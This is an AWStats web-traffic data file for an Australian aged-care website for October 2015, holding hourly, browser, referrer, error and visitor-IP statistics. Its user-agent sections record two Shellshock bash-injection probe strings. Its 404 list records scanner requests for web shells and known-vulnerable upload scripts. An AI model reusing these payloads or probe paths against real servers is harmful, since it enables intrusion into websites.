AWSTATS DATA FILE 7.4 (build 20140726)
# If you remove this file, all statistics for date 201510 will be lost/reset.
# Last config file used to build this data file was /home/outlookg/tmp/awstats/awstats.outlookgardens.com.au.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2018                
POS_TIME 2698                
POS_VISITOR 24473               
POS_DAY 54790               
POS_DOMAIN 3686                
POS_LOGIN 4697                
POS_ROBOT 4852                
POS_WORMS 5454                
POS_EMAILSENDER 5585                
POS_EMAILRECEIVER 5728                
POS_SESSION 55744               
POS_SIDER 55958               
POS_FILETYPES 5863                
POS_DOWNLOADS 6231                
POS_OS 6508                
POS_BROWSER 6982                
POS_SCREENSIZE 11710               
POS_UNKNOWNREFERER 11784               
POS_UNKNOWNREFERERBROWSER 12975               
POS_ORIGIN 13678               
POS_SEREFERRALS 13829               
POS_PAGEREFS 14031               
POS_SEARCHWORDS 15123               
POS_KEYWORDS 15786               
POS_MISC 2361                
POS_ERRORS 16109               
POS_CLUSTER 4553                
POS_SIDER_404 16256               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20151101002002 65 16938 13470672358070
FirstTime 20151001003946
LastTime 20151031235720
LastUpdate 20151101230631 65 0 64 0 0
TotalVisits 1186                
TotalUnique 716                 
MonthHostsKnown 0                   
MonthHostsUnknown 761                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
AddToFavourites 0 68 0
RealPlayerSupport 0 0 0
TotalMisc 0 0 0
DirectorSupport 0 0 0
FlashSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 342 846 32136206 182 332 3714584
1 100 380 14063413 209 333 5985781
2 186 386 8694798 190 270 2418658
3 114 268 5218750 218 342 4819090
4 102 346 11829842 243 352 3531767
5 170 364 11365758 218 302 4345142
6 160 582 22186032 196 286 1380768
7 178 524 16971000 226 300 3901952
8 188 676 24766362 200 332 2921612
9 202 1120 44935236 238 386 3811544
10 287 1101 41889113 398 584 7112268
11 236 902 34158618 212 292 3409086
12 568 1708 83295140 294 450 3471448
13 454 2026 82738336 280 422 3427924
14 370 1584 65780152 298 438 2376180
15 548 1832 71556598 322 524 6365346
16 338 1378 61753022 300 422 2781178
17 228 1074 45840734 290 414 1905750
18 276 950 35178958 210 322 3875030
19 194 572 18225320 236 394 3332850
20 216 1042 34671980 392 566 4798496
21 172 982 34127444 256 370 2871264
22 232 868 79852826 266 400 4235120
23 108 745 35907315 167 256 2824548
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 50
au 2823 15938 749106535
ru 831 847 2939976
us 603 1143 29517699
lv 248 248 529480
nl 230 304 3662596
fr 197 293 4553939
cn 159 273 6172137
zz 134 198 3255220
de 105 107 845536
br 86 764 30502939
gb 84 224 8566732
jp 82 190 3707662
ua 72 76 644264
ro 50 96 2715164
ca 40 132 5630302
lu 24 24 76062
ch 23 69 2677918
md 16 16 124266
pt 12 150 7866672
ph 12 154 7888366
es 10 102 5275222
my 8 102 5297152
in 8 128 3494712
it 8 74 3140796
cz 8 12 232678
tr 4 4 8540
eg 0 2 190416
kr 2 2 9442
mx 2 22 487798
tn 4 50 2622224
sa 4 50 2622224
sg 6 98 5148096
co 2 12 401776
hk 4 4 61548
lt 4 50 2622224
gr 4 50 2622224
tw 6 6 40988
is 2 2 5852
eu 6 6 92322
at 6 52 2628076
vn 2 2 274
bg 4 4 11704
pk 4 72 2596698
hu 6 6 17556
pl 8 8 48330
ng 0 2 41166
se 8 8 23408
sk 2 2 5852
pe 4 50 2622224
ve 2 28 547696
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 12
bot[\s_+:,\.\;\/\\-] 2200 32342280 20151031235151 522
googlebot 1408 24671249 20151031171114 130
spider 433 20081491 20151031151909 0
bingpreview 230 4339780 20151031145654 0
unknown 140 40040 20151031170302 140
slurp 135 1493023 20151031174620 61
robot 128 925902 20151031210412 34
crawl 118 1391568 20151030092415 8
googlebot\-image 88 406600 20151031162418 0
no_user_agent 76 730356 20151031103021 4
discovery 10 0 20151013103354 0
netcraft 2 30774 20151010081234 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 15
eot 94 1284410 0 0
css 2994 57944534 0 0
png 1318 23518930 0 0
ttf 60 1640880 0 0
pdf 103 28715137 0 0
cgi 12 40198 0 0
woff2 6 227120 0 0
wmv 10 73891890 0 0
php 2810 19886075 0 0
html 2987 38552139 0 0
js 6012 106921086 0 0
jpg 5478 554882490 0 0
doc 56 5171444 0 0
gif 312 1220266 0 0
svg 4 6084 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 7
/web/Docs/employment.pdf 105 20 30248981
/uploads/F1-01.doc 78 8 6436084
/uploads/F8-02.doc 60 0 5990400
/web/Docs/appsingle.pdf 56 4 13923496
/web/Docs/appcouple.pdf 23 0 5803917
/uploads/video.wmv 10 0 73891890
/test.txt 2 0 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 27
linuxandroid 1604 212
winlong 329 166
macosx6 170 72
winxp 1196 582
ios_iphone 2097 232
winphone 152 30
win2000 160 160
winunknown 20 18
win2003 14 14
win8 511 139
macosx9 468 86
ios_ipad 942 136
macosx7 152 74
unix 100 18
java 12 12
winnt 1119 119
linuxubuntu 90 90
win98 7 7
macosx5 24 24
linux 287 189
win7 9142 2457
macosx 897 124
win16 2 2
bsdfreebsd 24 24
win8.1 2307 644
Unknown 394 326
macosx8 68 12
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 222
firefox28.0 22 22
safari7.0.3 12 12
chrome11.0.661.0 12 12
chrome11.0.696.0 2 2
chrome47.0.2522.0 2 0
chrome45.0.2454.85 250 20
chrome12.0.742.100 8 8
chrome32.0.1700.72 4 4
firefox3.6 44 44
chrome34.0.1847.137 26 26
chrome11.0.700.3 6 6
firefox2.0.0.1 8 8
chrome28.0.1467.0 4 4
chrome29.0.1547.62 2 2
chrome31.0.1650.57 26 26
safari5.0.2 4 4
msie8.0 216 106
chrome13.0.782.107 6 6
chrome39.0.2171.65 4 4
chrome13.0.782.1 6 6
msie7.0 74 12
firefox9.0.1 2 2
chrome42.0.2311.152 8 8
chrome10.0.638.0 6 6
opera32.0.1948.69 92 44
chrome42.0.0.10338 48 2
firefox40.0 222 18
chrome13.0.782.24 6 6
firefox10.0.1 4 4
nsplayer 2 0
chrome12.0.704.0 3 3
firefox38.0 40 4
chrome46.0.2490.71 1391 146
chrome23.0.1271.91 8 8
chrome30.0.1599.69 4 4
chrome32.0.1700.107 357 31
chrome43.0.2337.0 56 6
chrome35.0.1916.114 14 14
firefox33.0 8 8
chrome36.0.1985.143 1559 123
firefox25.0 10 10
chrome26.0.1410.64 10 10
chrome11.0.678.0 12 12
chrome33.0.1750.117 6 6
chrome11.0.699.0 2 2
firefox14.0.1 22 22
chrome17.0.963.65 12 12
chrome10.0.601.0 6 6
opera8.50 4 4
chrome13.0.782.41 18 18
firefox36.0 6 6
safari 503 52
chrome34.0.1847.76 102 10
safari7.0 452 56
chrome11.0.672.2 12 12
chrome18.0.1025.162 4 4
microsoft\-webdav\-miniredir 14 14
android 166 34
chrome10.0.612.3 6 6
chrome22.0.1229.79 8 8
chrome28.0.1500.95 14 14
chrome36.0.1985.125 524 524
chrome40.0.2214.45 110 8
chrome17.0.963.79 2 2
firefox24.0 10 10
chrome19.0.1084.56 2 2
safari10.3.2.2639 58 6
chrome46.0.2490.76 48 4
netscape4.76 7 7
chrome4.1.249.1036 2 0
iphone 62 6
chrome12.0.742.113 6 6
chrome32.0.1700.102 6 6
chrome26.0.1410.65 4 4
chrome24.0.1312.57 22 22
chrome15.0.861.0 6 6
firefox3.5.8 2 2
chrome16.0.912.36 20 20
opera28.0.1750.48 52 4
chrome34.0.1847.116 6 6
chrome13.0.766.0 6 6
chrome11.0.696.3 12 12
msie9.0 578 214
chrome26.0.1410.43 2 2
chrome12.0.742.105 6 6
opera12.15 4 4
chrome10.0.648.127 18 18
chrome17.0.963.56 2 2
chrome14.0.810.0 12 12
safari9.0.1 187 58
chrome14.0.808.0 6 6
chrome44.0.2403.155 60 6
chrome35.0.1916.141 118 14
chrome47.0.2526.25 48 2
chrome28.0.1500.71 4 4
firefox30.0 6 6
chrome13.0.782.215 12 12
chrome18.0.1025.168 4 4
firefox2.0.0.11 2 2
chrome16.0.912.75 6 6
chrome45.0.2454.94 528 56
chrome10.0.612.1 12 12
firefox39.0 66 40
chrome35.0.1916.153 162 20
firefox22.0 14 14
chrome13.0.782.20 6 6
safari6.0.2 2 2
chrome39.0.2171.99 2 2
chrome43.0.2357.134 2 2
chrome21.0.1180.49 2 2
msie 2 2
chrome23.0.1271.97 2 2
chrome19.0.1084.52 6 6
chrome44.0.2403.125 6 6
msie6.0 288 286
chrome27.0.1453.94 2 2
chrome13.0.748.0 6 6
chrome18.0.1025.308 58 8
firefox10.0 2 2
firefox26.0 4 4
chrome28.0.1500.94 430 52
chrome19.0.1062.0 6 6
chrome11.0.654.0 6 6
firefox18.0 12 12
firefox34.0 6 6
chrome28.0.1500.72 7 7
chrome24.0.1312.56 4 4
firefox23.0 6 6
chrome37.0.2062.120 12 12
firefox41.0 1070 80
chrome14.0.811.0 6 6
chrome25.0.1364.152 6 6
chrome11.0.652.0 6 6
chrome29.0.1547.66 7 7
chrome10.0.648.134 22 22
chrome14.0.804.0 6 6
chrome11.0.698.0 6 6
safari7.0.2 188 30
chrome39.0.2171.71 2 2
chrome15.0.864.0 6 6
chrome32.0.1667.0 2 2
opera12.16 6 4
chrome45.0.2454.99 2 2
chrome34.0.1847.131 88 52
chrome10.0.648.133 26 26
firefox21.0 20 20
lg\- 8 8
firefox29.0 48 30
chrome14.0.803.0 18 18
firefox12.0 4 4
chrome23.0.1255.0 50 4
chrome46.0.2490.80 839 78
firefox3.5.5 4 4
mozilla 417 123
chrome42.0.2311.135 344 50
chrome32.0.1700.76 58 10
chrome22.0.1229.94 4 4
firefox3.6.3 2 2
chrome45.0.2454.84 72 12
chrome17.0.963.12 6 6
firefox19.0 22 6
chrome25.0.1364.97 4 4
firefox8.0.1 2 2
firefox15.0.1 4 4
firefox35.0 2 2
chrome21.0.1180.89 6 6
chrome37.0.2062.124 4 4
firefox15.0 4 4
firefox20.0 8 8
chrome29.0.1547.57 6 6
chrome19.0.1061.1 9 9
firefox8.0 2 2
safari8.0.7 76 6
chrome12.0.742.112 58 58
chrome12.0.742.68 6 6
safari6.1.6 112 34
opera12.14 2 2
firefox31.0 68 32
firefox6.0.2 141 141
firefox13.0.1 90 84
chrome45.0.2454.93 2 0
firefox16.0 4 4
chrome10.0.648.204 24 24
chrome21.0.1180.83 4 4
safari8.0 844 86
chrome34.0.1847.118 76 12
chrome30.0.1599.66 4 4
chrome10.0.648.11 33 33
chrome33.0.1750.146 4 4
safari7.1.5 54 4
chrome16.0.912.63 6 6
Unknown 308 304
chrome30.0.1599.101 4 4
chrome14.0.813.0 6 6
chrome11.0.697.0 6 6
chrome14.0.809.0 6 6
firefox11.0 4 4
safari7.1.6 48 2
firefox17.0 8 8
safari8.0.8 164 10
chrome14.0.792.0 12 12
libwww 2 2
chrome15.0.860.0 12 12
chrome17.0.963.66 24 24
chrome10.0.613.0 12 12
chrome36.0.1985.67 48 2
chrome20.0.1132.57 4 4
safari5.1.7 2 2
chrome41.0.2227.1 2 2
msie11.0 1835 377
chrome11.0.655.0 8 8
chrome19.0.1063.0 6 6
safari9.0 1280 174
chrome18.0.1025.133 2 2
chrome45.0.2454.101 3414 928
firefox37.0 81 6
chrome14.0.814.0 6 6
msie10.0 246 64
safari5.1 40 4
opera11.50 4 4
chrome13.0.782.43 6 6
chrome27.0.1453.116 4 4
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 19
Knowknot_(v0.1_beta_-_phil@knowknot.com_knowknot.com/api) 20151011172852
()_{_:;_};_echo_Content-type:text/plain;echo;echo;echo_M`expr_1330___7`H;id;echo_@ 20151005151546
voltron 20151012120906
Mozilla/5.0_(compatible;_Lipperhey-Kaus-Australis/5.0;__https://www.lipperhey.com/en/about/) 20151030154200
()_{_foo;};echo;_/bin/bash_-c_\ 20151028182525
M 20151003154350
Owler 20151010115028
AndroidDownloadManager 20151031151308
Mozilla/4.0_(compatible;_Synapse) 20151008023324
MobileSafari/600.1.4_CFNetwork/711.0.6_Darwin/14.0.0 20151002094728
Mozilla/5.0_(BB10;_Touch)_AppleWebKit/537.35__(KHTML,_like_Gecko)_Version/10.3.2.2639_Mobile_Safari/537.35_ 20151006041257
Mozilla/5.0_(compatible;_GWPImages/1.0) 20151028040716
WordPress/4.1.8;_http://outlookgardens.com.au/web 20151031201112
LWP::Simple/5.827_libwww-perl/5.833 20151023171717
NSPlayer/11.00.6002.18392_WMFSDK/11.00.6002.18392 20151019123258
Mozilla/5.0_(compatible;_Genieo/1.0_http://www.genieo.com/webfilter.html) 20151012222756
BOT/0.1_(BOT_for_JCE) 20151031151307
Mozilla/4.0_(compatible;) 20151006115841
nutch-1.4/Nutch-1.4 20151015062507
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 14
Knowknot_(v0.1_beta_-_phil@knowknot.com_knowknot.com/api) 20151011172852
()_{_:;_};_echo_Content-type:text/plain;echo;echo;echo_M`expr_1330___7`H;id;echo_@ 20151005151546
voltron 20151012120906
WordPress/4.1.8;_http://outlookgardens.com.au/web 20151031201112
()_{_foo;};echo;_/bin/bash_-c_\ 20151028182525
M 20151003154350
Owler 20151010115028
BOT/0.1_(BOT_for_JCE) 20151031151307
Java/1.4.1_04 20151029160955
nutch-1.4/Nutch-1.4 20151015062507
Microsoft_Office_Word_2013 20151013103354
Java/1.6.0_04 20151031154906
python-requests/2.2.1_CPython/3.4.3_Linux/3.13.0-24-generic 20151024032536
Java/1.8.0_31 20151014032131
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 2256 2440
From1 6 6
From2 624 814
From3 146 150
From4 2937 18878
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 5
google 568 694
search 2 2
baidu 8 8
bing 38 102
yahoo 8 8
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 20
http://rankings-analytics.com/try.php 78 78
http://buttons-for-website.com 10 10
http://www.yellowpages.com.au/search/listings 8 8
http://success-seo.com/try.php 8 8
http://www.yellowpages.com.au/vic/dandenong-north/outlook-gardens-aged-care-15041486-listing.html 6 6
http://pizza-imperia.com 4 4
http://www.whereis.com/vic/dandenong-north-3175/yellowId-12105338 4 4
http://humanservicesdirectory.vic.gov.au/SiteDetails.aspx 4 4
http://www.yellowpages.com.au/find/aged-care-services-homes/melbourne-south-eastern-suburbs-vic 4 4
http://video--production.com 4 4
http://pizza-tycoon.com 2 2
http://hvd-store.com 2 2
http://www.whereis.com/vic/dandenong-north-3175/yellowId-15041486 2 2
http://wwwpretoriusfamilie.info 2 2
http://hundejo.com 2 2
http://devdesigns.com.au 2 2
http://us.wow.com/search 2 2
http://www.yellowpages.com.au/find/aged-care-services-homes/dandenong-north-vic 2 2
http://pixonline.org 0 2
http://bestofgalleryart.com 0 2
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 14
outlook+gardens 20
outlookgardens%7cagedcareandchristianretirementvillage 8
outlook+gardens+aged+care+dandenong+north 6
review+on+outlook+gardens+aged+care+dandenong+north 4
outlook+gardens+dandenong 4
outlook+gardens+aged+care 4
north+dandenong+gardens 2
outlook+cranbourne+nursing+home 2
outlook+gardens+hostel+dandenong+nth+vic 2
outlook+gardens+hostel+and+retirement+village+dandening 2
outlook+gardens+hostel 2
outlook+garden+aged+care 2
outlook+gardens+aged+care+facility 2
ebenezer+and+outlook+gardes 2
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 23
outlook 52
gardens 48
aged 18
care 18
dandenong 18
north 12
outlookgardens%7cagedcareandchristianretirementvillage 8
hostel 6
review 4
on 4
and 4
ebenezer 2
nursing 2
retirement 2
nth 2
facility 2
garden 2
gardes 2
home 2
cranbourne 2
vic 2
dandening 2
village 2
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
302 86 931412
206 38 1188704
500 2 502
404 1132 431328
301 2221 516769
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 175
/administrator/components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php 8 -
/wordpress/ 34 -
/blogs/wp-admin/setup-config.php 2 -
/tmp/bogel.php 2 -
/admin.php 16 -
/web/docs/employment.pdf 14 -
//cfg-contactform-3/inc/upload.php 6 -
/tmp/php.class.php 2 -
/web/wp-includes/js/jquery/jquery.js%3Fver 2 http://outlookgardens.com.au/web/wp-includes/js/jquery/jquery.js%3Fver
/Admin/fckeditor/editor/filemanager/browser/default/connectors/test.html 2 -
/admin/view/javascript/ckeditor/themes/unint.php 2 -
/blog/wp-admin/setup-config.php 2 -
/%20test.txt 2 -
//cfg-contactform-15/inc/upload.php 6 -
/images/stories/food.php 6 -
/images/php.php 2 -
/sitefindertbN2WG3dg0U5l9Jt8H0x.html 2 -
/intext.php 2 http://outlookgardens.com.au/intext.php
//cfg-contactform-4/inc/upload.php 6 -
/uploads/f8-02.doc 28 -
/xmlrpc.php 40 -
/tmp/recky.php 2 -
/images/stories/vito.php 2 -
/administrator/components/com_joomleague/assets/classes/open-flash-chart/ofc_upload_image.php 6 -
/ckeditor/editor/ 2 -
/sitefinderFtqm8h9LT1A6t6gLu2Nt.html 2 -
//images/jdownloads/screenshots/m.libs.up.php.j 7 -
/FCKeditor/editor/filemanager/connectors/test.html 2 -
/js/fckeditor/editor/ 2 -
/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php 8 -
//cfg-contactform-17/inc/upload.php 6 -
/administrator/components/com_maian15/charts/php-ofc-library/ofc_upload_image.php 6 -
//images/jdownloads/screenshots/jalang.php.j 7 -
//images/jdownloads/screenshots/libs.up.php.j 7 -
/images/stories/magic.php.png 20 -
//cfg-contactform-9/inc/upload.php 6 -
//cfg-contactform-5/inc/upload.php 6 -
/images/stories/bouncer.php 2 -
/F1-01.doc 4 -
/administrator/components/com_redmystic/chart/ofc-library/ofc_upload_image.php 6 -
/components/com_hdflvplayer/hdflvplayer/download.php 6 -
//images/jdownloads/screenshots/index.php.j 7 -
/web/wp-includes/js/jquery/jquery-migrate.min.js%3Fver 2 http://outlookgardens.com.au/web/wp-includes/js/jquery/jquery-migrate.min.js%3Fver
/conns.php 2 http://outlookgardens.com.au/conns.php
//images/jdownloads/screenshots/libs.php.j 14 -
/wp-login.php 52 -
/media/login.php 2 -
//xxu.php 2 -
/web/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js%3Fver 2 http://outlookgardens.com.au/web/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js%3Fver
/abc.php 2 http://outlookgardens.com.au/abc.php
/wp-content/include.php 2 -
/cgi-bin/php 6 -
/news/wp-admin/setup-config.php 2 -
/web/wp-content/themes/adventurous/js/adventurous-custom.min.js%3Fver 1 http://outlookgardens.com.au/web/wp-content/themes/adventurous/js/adventurous-custom.min.js%3Fver
/tmp/metri.php 4 -
/blog/xmlrpc.php 2 -
/components/com_sexycontactform/fileupload/index.php 6 -
//images/stories/wawalo.gif 2 -
/wp-admin/admin-ajax.php 12 -
/components/com_creativecontactform/fileupload/index.php 6 -
/wp-content/plugins/wysija-newsletters/readme.txt 6 -
//images/jdownloads/screenshots/petx.php.j 7 -
/js/mage/cookies.js 2 http://outlookgardens.com.au
//images/stories/magic.php.png 2 -
/php.php 2 -
//images/jdownloads/screenshots/gelo.php.j 7 -
/sitefinderL8535lFy3mM0Mn5xEDoJ.html 6 -
/license.php 4 http://outlookgardens.com.au/license.php
//cfg-contactform-2/inc/upload.php 6 -
/web/wp-content/themes/adventurous/js/adventurous-slider.js%253Fver 2 http://outlookgardens.com.au/web/wp-content/themes/adventurous/js/adventurous-slider.js%253Fver
/cgi-bin/status/status.cgi 6 -
/wp/wp-admin/setup-config.php 2 -
/Editor/editor/filemanager/connectors/test.html 2 -
/sitefinderWaVypbYn16DvonV744z6.html 4 -
/news/html/ 2 -
//images/xxu.php 6 -
//cfg-contactform-10/inc/upload.php 6 -
/bitrix/admin/ 2 -
//components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php 6 -
//images/jdownloads/screenshots/imc.php.j 7 -
/component/users/ 8 http://www.outlookgardens.com.au/component/users/
/images/stories/explore.php 12 -
/images/stories/petx.gif 2 -
/components/com_acymailing/inc/openflash/php-ofc-library/ofc_upload_image.php 2 -
/sitemap.xml 4 -
//images/jdownloads/screenshots/has.php.j 7 -
/web/wp-content/plugins/contact-form-7/includes/js/scripts.js%253Fver 2 http://outlookgardens.com.au/web/wp-content/plugins/contact-form-7/includes/js/scripts.js%253Fver
/Admin/fCKeditor/editor/filemanager/connectors/test.html 2 -
/user 6 -
/administrator/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php 2 -
//images/jdownloads/screenshots/flashgallery.php.j 7 -
/yandex.php 2 -
/images/stories/pbot.php 6 -
/wp-content/plugins/revslider/js/rev_admin.js 2 -
/admin/login.php 10 -
//cfg-contactform-19/inc/upload.php 6 -
/web/author/ 14 -
/plugins/content/mysql/config.php 2 -
/sys-cgi 6 -
/uploads/ 4 -
/wp-content/plugins/miwoftp/readme.txt 2 http://outlookgardens.com.au/
/images/stories/3xp.php 16 -
/Editor/editor/filemanager/browser/default/connectors/test.html 2 -
//cfg-contactform-16/inc/upload.php 6 -
/browserconfig.xml 4 -
/wp-content/plugins/landing-pages/readme.txt 2 -
/administrator/components/com_jnewsletter/includes/openflashchart/php-ofc-library/ofc_upload_image.php 8 -
/wp-content/plugins/mainwp-child/readme.txt 2 -
/uploads/f1-01.doc 24 -
/wp-content/themes/awake/lib/scripts/dl-skin.php 2 -
/components/com_jnewsletter/includes/openflashchart/php-ofc-library/ofc_upload_image.php 2 -
/plugins/search/attachments/utf.php 2 -
/bitrix/admin/index.php 10 -
/wp-content/plugins/inboundio-marketing/admin/partials/csv_uploader.php 2 -
/wp-content/plugins/akismet/akismet.php 2 -
/apple-touch-icon-120x120.png 2 -
/cgi-bin/ 6 -
/wp-content/plugins/wp-symposium/readme.txt 2 http://outlookgardens.com.au/
/myadmin/scripts/setup.php 4 -
/web/wp-content/themes/adventurous/js/jquery.cycle.all.min.js%3Fver 2 http://outlookgardens.com.au/web/wp-content/themes/adventurous/js/jquery.cycle.all.min.js%3Fver
//x.php 4 -
//cfg-contactform-12/inc/upload.php 6 -
//cfg-contactform-11/inc/upload.php 6 -
/apple-touch-icon-120x120-precomposed.png 2 -
/components/com_hdwplayer/hdwplayer.php 2 http://search.aol.com/aol/search
/web/wp-content/themes/adventurous/js/waypoints.min.js%253Fver 1 http://outlookgardens.com.au/web/wp-content/themes/adventurous/js/waypoints.min.js%253Fver
/wordpress/wp-admin/setup-config.php 2 -
/administrator/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php 8 -
/images/stories/petx.php 12 -
//images/jdownloads/screenshots/1.php.j 7 -
/admin/ 10 -
/x.php 2 -
//cfg-contactform-6/inc/upload.php 6 -
//images/jdownloads/screenshots/roin.php.j 7 -
//cfg-contactform-8/inc/upload.php 6 -
/apple-touch-icon.png 4 -
/plugins/content/i.php 2 -
/cgi-bin/php5 6 -
/cgi-bin/php4 6 -
//cfg-contactform-18/inc/upload.php 6 -
/blog/ 34 -
/components/com_jinc/classes/graphics/php-ofc-library/ofc_upload_image.php 2 -
/wp-config.php~ 2 -
/cgi-bin/index.cgi 6 -
/wp/ 34 -
/images/post.php 2 -
//cfg-contactform-20/inc/upload.php 6 -
/administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php 6 -
/administrator/components/com_bt_portfolio/helpers/uploadify/uploadify.php 6 -
/cgi-bin/php-cgi 6 -
//plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php 20 -
//cfg-contactform-14/inc/upload.php 6 -
/cgi-bin-sdb/printenv 6 -
//cfg-contactform-1/inc/upload.php 6 -
/cgi-mod/index.cgi 6 -
/blog/robots.txt 34 -
/include.php 2 -
/1.txt 2 -
//images/jdownloads/screenshots/cool.php.j 7 -
/test/wp-admin/setup-config.php 2 -
/user/ 10 -
/wpn-rss.php 2 http://outlookgardens.com.au/wpn-rss.php
/fckeditor/editor/ 4 -
//cfg-contactform-13/inc/upload.php 6 -
/images/73/thumbs/error.php 2 -
/images/stories/mil.gif 6 -
/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php 6 -
//cfg-contactform-7/inc/upload.php 6 -
/images/j.php 2 -
/wp-admin/setup-config.php 2 -
/newfile.txt 2 -
/index.php 52 -
/sitefindertbn2wg3dg0u5l9jt8h0x.html 4 -
/cgi-bin/test.cgi 6 -
/apple-app-site-association 4 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 761
188.233.93.65 417 417 327762 20151006204113
101.187.43.151 368 502 15994526 20151013154024
220.240.174.22 342 756 17562048 20151025140354
95.37.77.202 266 266 567910 20151024014403
195.3.144.88 246 246 525210 20151009153055
103.29.216.152 226 226 0 20151031201112
192.200.193.39 154 154 914664 20151007005354
94.185.85.46 114 114 89604 20151004184215
202.134.41.126 81 229 7704883 20151027142112
192.210.240.121 78 84 598814 20151016020105
